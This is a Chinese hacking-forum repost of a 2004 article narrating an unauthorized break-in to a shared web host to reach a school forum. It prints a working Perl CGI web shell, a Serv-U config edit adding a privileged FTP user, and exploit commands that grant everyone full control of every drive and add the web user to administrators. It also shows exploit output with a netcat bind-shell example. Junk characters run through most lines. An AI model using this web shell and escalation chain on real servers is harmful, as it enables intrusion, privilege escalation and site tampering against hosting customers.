找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2018|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
  R1 G! u: [. \4 s本文作者:angel
' [( W: A: j. a% ]( s* b文章性质:原创7 H6 m! I$ H% g$ G4 V: h8 S
发布日期:2004-11-09 * b2 P& C. \7 ]" ~7 {% v+ A$ m1 @
注意:9 u0 m6 o" a8 z- _5 e% x
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
% E: w% U( X3 n7 E本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
! H3 r5 h% X' g! R4 Y% T* X& Q+ s* Y( H9 W
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 + F  a; r; L% E( y3 l, c

- R. l6 M4 v: U. H" q' @  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
9 d) t2 Z0 o5 c, T6 G, {6 J) r* N# t5 A
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
2 M# Y4 o  f) P! o- x. e5 j7 z% @5 }" U
: a; P, u5 `; P) a( D6 L  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 7 d4 m. H7 C6 {
) S: u: g9 u. D4 z* F7 s1 p5 w3 P
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 ! P7 {/ r. C, r. o1 L
6 W4 j9 _& |. H: p! z& C  k
  没有目的的跳转目录着……
2 |( n+ G0 d* w$ O" b
. T  i6 g$ a3 C1 d6 b" O+ `  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… ) \6 D  e8 [$ |7 P% n+ {' l0 f
( G" y8 _: _1 k, F# i
  结束了吗?不,我试着 FTP 一下: 4 |* p4 L4 P2 l6 X1 Y% V

8 j( }6 A) |* p1 K. l0 y+ @2 vMicrosoft Windows 2000 [Version 5.00.2195]# F& T$ c- v7 U- ~
(C) 版权所有 1985-2000 Microsoft Corp. 7 P3 k0 Y6 q; Y0 M. N6 [
* c- y. i$ K  w; |# v
C:\Documents and Settings\Administrator>ftp www.school.com
. W9 E+ M4 I, c7 h2 ]0 D' pConnected to www. school.com. 2 Y) t6 ?2 s: t! u) x
220 Welcome to FTP Server... 1 L8 k9 S3 D) a3 d
User (www.bjtrq.com:(none)):
3 f* \) D4 E. n0 e331 User name okay, need password.
& L1 g  Y/ `; O& u0 n5 {9 \* gPassword: 2 c$ L" N2 }* R, h/ Z' n, t
530 Not logged in.
: i+ \5 ^; b" c6 E/ }9 ULogin failed.
3 I# w9 s. [% [3 J3 q/ hftp> bye
' H$ ?- _; h; p% i4 Y  ~& U4 M221 Goodbye!
2 |. ?9 U3 \5 d$ ~( d 8 l5 W% S6 w# H# o3 K7 j
4 {$ `2 m; P' v' b3 f
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 3 m* C1 O2 K* D  ]( p

1 H9 m/ Z9 k- T4 x! ]$ ?  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 ' T7 {% }1 Q: q9 I8 T6 \" z4 F
9 @# @/ x, V9 a# Z0 Q/ P" m7 `
Application Data
4 k  e$ t8 W) z! j; PDocuments. ]# `4 Q0 l+ s0 X2 ?
DRM! ~5 J3 s9 m/ E. w
Favorites; B8 j+ K- G" ~% ?8 T: p: ~
Templates& O8 U# L5 W! C" i2 r; x
「开始」菜单& O" X5 p0 [; L0 i: V3 U
桌面7 R) a) l$ H' Y

2 A, P1 y8 W$ I* }# R7 W
3 S: A% v: g+ ^4 l6 o; z! j. ?* U  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 1 M- }( p2 l/ C" k* z6 ~
" W( h6 b1 F0 `/ M/ }
ActiveState ActivePerl 5.86 b- @" ]) f" [' `8 Y  i& @
Administrative Tools0 r& K0 \* r% t: l5 e- H
Deerfield.com& G/ ]* w* o/ }, t0 {3 H- b% q
DTemp
) z0 h$ P! x. _. `4 y9 H# Q! ~* QIPSentry
- m% h( C  G0 Q1 ]  G# \; A( PMBM 5% `' T, w3 [3 R, j$ m& p
NetMeter
7 a6 ~% f( n* \4 K0 Z' fNetwork ICE5 k$ T1 m9 J* u# X: u2 b1 b: U
Persits Software AspEmail
' h9 I  |8 V: zPersits Software AspJpeg6 R' _& I1 j. Q7 B7 }
Serv-U FTP Server
6 J! X5 y$ r2 @2 n/ p! cSymantec Client Security' U7 T6 S1 h7 _' R
Windows 优化大师
" R  s' k/ O3 ]. G' C9 qWinRAR3 r; H' j$ ]# v0 {& l2 ]: M- N
启动
! [& G, F/ n# X9 U管理工具+ h1 z/ U9 X% Y6 c, M
附件5 i- n; f) r" z" s- |) Q

- l! D: v1 \7 O7 J! u# T! D5 s
. v8 c6 y  x) c3 y+ U! T) y- l  C  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 6 w* V) @! m, q
- X) e, }" g$ ~; o( s
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: - ^* Y+ N) }) @2 [* \0 I
4 w3 h+ P  b: H' H
User281=angel|1|0 & J& g! w  I# d" ?2 h+ C
2 g  G) a7 @4 _" l# C9 {! {

, |+ J5 i2 s: Y4 ]: V( t  然后加上
8 k) y/ H+ A& w! H8 j9 w; K6 _. Z( {2 t
[USER=angel|1]
5 w5 k; ?4 d" J0 Z6 }  |Password=ng98F85379EA68DBF97BAADCA99B69B8055 |/ L3 X' o8 V7 |2 f% G* R$ t& @
HomeDir=D:\websites
' B2 z) W! [$ S- N4 ~RelPaths=17 s: _# {9 ~- q7 `% d" R
TimeOut=600
! F& O) I, ^3 W1 W) f$ mMaintenance=System
& V1 c5 H- f' E+ v1 i. I: tAccess1=D:\websites|RWAMELCDP
3 \- L- n* o. {2 F! y: N3 GSKEYValues=. Q0 I3 d  a* W3 H7 O; a! {
5 p; I- H) t0 ^6 K; X& X" c

* \9 }1 B) [" W2 K; Q2 l" K/ P  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… - }: ?, j; Q( ?/ D' ~3 ?! c! g
! |! m& Z; c* y- z2 ^0 ]" C* A+ C
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 & E9 `. f3 I6 E' N, X* m- K

* R6 X' o1 I7 B, k  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
$ `5 J+ j$ U  q% K* M8 G4 @7 K- ?5 a4 T
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 9 u, f9 }5 O5 R8 m

' ~7 ?" K7 }0 T6 H/ J3 N% c#!/usr/bin/perl
2 [- G( c8 @* T* a4 w; B% a' sbinmode(STDOUT);; w& s  e, z9 s2 j: E5 `/ m* T' H
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
; j' P+ E! k$ L2 u4 L: R$_ = $ENV{QUERY_STRING};
( z' r1 O# O4 t3 D; H  @9 [% ~s/%20/ /ig;+ l4 w" Z7 Z, h2 X" ]& E/ r2 \( T
s/%2f/\//ig;9 `& h9 L- p" n# a! c& `
$execthis = $_;$ V5 S) @% b0 |$ X; y# N  U
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
& i) Z! x/ w0 \7 g9 a# Z. O3 q: sopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
$ l) `) ]' x1 J- b8 B6 w  Osystem($execthis);
  u7 K( `8 V1 H, C# X6 G4 k. D# ?; ksyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);3 ^/ P1 C; z  b9 b
close(STDERR);1 v8 @( F5 w# m
close(STDOUT);0 G7 y6 _$ q4 Y$ K1 x+ }
exit;& }" W5 G& m7 `
# C9 I$ W% O  v# F
6 o  m3 f" N, X! K0 W
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
, w* u- x6 b' _5 U$ o7 t/ b9 L. B  ~5 E2 y$ e+ b& c
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
! B* @+ m- {7 F% k! z7 i
3 m3 ^5 I9 K8 Yhttp://anyhost//cmd.pl?d:\user\bin\su.exe
3 d" i+ R$ Z7 N8 c4 T ) \) Y% G, [8 }

" i  D. @( |+ r9 u( k) ^  返回:
1 H7 m: V1 S# j8 J3 i2 x. F* ]8 {3 {5 t: M* p& k$ z* j+ `
Serv-u >3.x Local Exploit by xiaolu ) o: R* I2 B; S  T  J" b- s
% F7 Z/ o) q& N8 P6 [* c5 ?* H% Q
USAGE: serv-u.exe "command" 6 Y, ?3 M; E  t3 ^

& O# D9 r+ q8 a- FExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" $ [7 P$ |( ]4 y1 |& h! M% |. o- f$ r

+ s' Z( _+ n3 ^: D+ r
/ ]1 {6 b1 a+ k5 ~* A+ |# Z9 A  ]  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: % j* I. {6 c! t3 l
' R8 h$ ]' [- T/ S7 h* S9 ?4 O
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
4 ^/ e0 _. B* {  _( j
2 V# W: e% b3 A: [4 Whttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
) U2 l8 k6 |% ]& B: _
. O0 Z$ l  g2 B, W1 O( s. |http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
5 k2 g; e& P, ]. }
6 Q# B/ |- h% w' e, yhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" , U8 g: k( T! r2 l
5 R& X9 j1 v4 U. t% |4 a# i
# T; i& M1 I9 W7 f# B
  返回下面的信息,就表示成功了!!!
# M7 Z+ x3 g: k! N2 m4 e
& L, A; L9 Y+ b" ]! o. SServ-u >3.x Local Exploit by xiaolu : f0 ^7 }. m% O9 }( \7 w9 g, t

) G4 ~3 a- W1 R9 X<220 Serv-U FTP Server v5.2 for WinSock ready... - m* {5 ~9 v9 A% j! ~/ P) M5 i; _

4 I7 o! N& }, m4 F3 _3 A>USER LocalAdministrator
. f- r$ d  |8 p  }- d: `: D" J- x9 @% L) [8 |+ {
<331 User name okay, need password.
* W) _+ z' R3 X( q5 ]
/ F2 ?; O' w$ z* p2 S****************************************************** 6 e) O5 S; U2 v2 }1 J
3 A0 J5 d2 s1 v8 `0 Q2 I
>PASS #l@$ak#.lk;0@P
/ b- V; P: @: f
4 o: i4 a* Z; o4 y<230 User logged in, proceed. : M1 f( e. l, w) x4 V5 F( C
2 z7 D; t- x/ f0 k
****************************************************** 3 X. z# e$ D$ @9 R
2 @! ~0 D$ E4 w; h4 k7 W
>SITE MAINTENANCE : ~- y# R" ^; O' k- `+ S

  T( O5 C5 t+ m****************************************************** : {8 i& _/ w0 f4 L+ m

% \: q5 q$ @! ?: T+ ]3 _[+] Creating New Domain... - S) s1 T. L' k

! r7 [/ k0 l! ^; {* ^4 Z<200-DomainID=2
: M, j, e9 S, M% q5 h& o; O: \& F; }, u5 U) w% V
<220 Domain settings saved
1 a1 }+ I3 \( b  D+ D  i) g9 b& }  k, s+ q, J4 Y5 b; f1 S% u
****************************************************** / x; }# s( C+ m2 E" y

; \" P4 {! J4 @) h: R[+] Domain xl:2 Created . q! V5 b8 T% I/ z6 e! z
3 a/ \: T2 m, G- T7 c. z3 t5 F$ o9 o& q
[+] Creating Evil User
( \9 T; S: A0 M# T6 ^( l  o
" N1 @: j1 M) F* h4 \" _<200-User=xl
0 g1 |( V9 D6 Q/ i( w- N) q% t* k5 X/ W
200 User settings saved   h- @& i0 X' p2 z' O- j* Y

/ ~  D, I6 d5 T; O+ C: G4 l" B- T******************************************************
& x3 {: B7 J9 H9 Z5 @3 |6 S/ [' ]: B3 R+ A( d3 w
[+] Now Exploiting... 2 `0 X4 g. p7 M% {
; ]) S5 h+ f" ^2 G
>USER xl + W2 S( U, L, G; ?4 W

# a) A6 H$ e' D7 k<331 User name okay, need password. & d( [, f1 U& `/ T% [, e5 G5 @+ a

! Q" N1 C' V8 m3 S3 c******************************************************
  V' V. S$ s5 k9 {$ Q1 q3 J! w/ _$ c: d3 j/ m8 n- N
>PASS 111111 2 @7 [3 v  l  }

1 Y0 r* s6 _! @( U  `7 {<230 User logged in, proceed. 8 L9 n- D3 R% A$ j- U. c+ l
4 T* p( P3 b( x7 ^
******************************************************
+ x/ g5 K, v8 E, @' s3 V' x+ m- E$ W9 f1 c. d. l0 w! y2 m
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
0 d+ s) L# n8 x  G; n4 v
; V4 X6 ^. p" h- W0 ]<220 Domain deleted ( K9 D8 E2 v) n( C, i
. A' T- ?6 u8 ^2 P
******************************************************
- C; g5 A8 l' b5 `: y
+ ]6 a- k; ]5 h' T; A1 q! [9 Z" J0 n/ }  u- [6 o+ n1 b. P" k0 V3 Q
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
2 d- a. X8 p$ i# I" ?$ h  O2 _. b5 a" |9 D
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
+ O* V$ c$ ^$ t" U
1 h; T; Y2 _: [* J6 l( i, W* y$ g* h: o) g# s
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
9 Q; l& L# v$ n, j! r, v; t; B7 [; @' j6 U0 \5 J! s' j7 C3 q
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。% ]/ K& [9 F9 s8 `
$ v+ ]) U, v& H/ R# p! O5 L
  . a+ x! e% Z" D$ Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表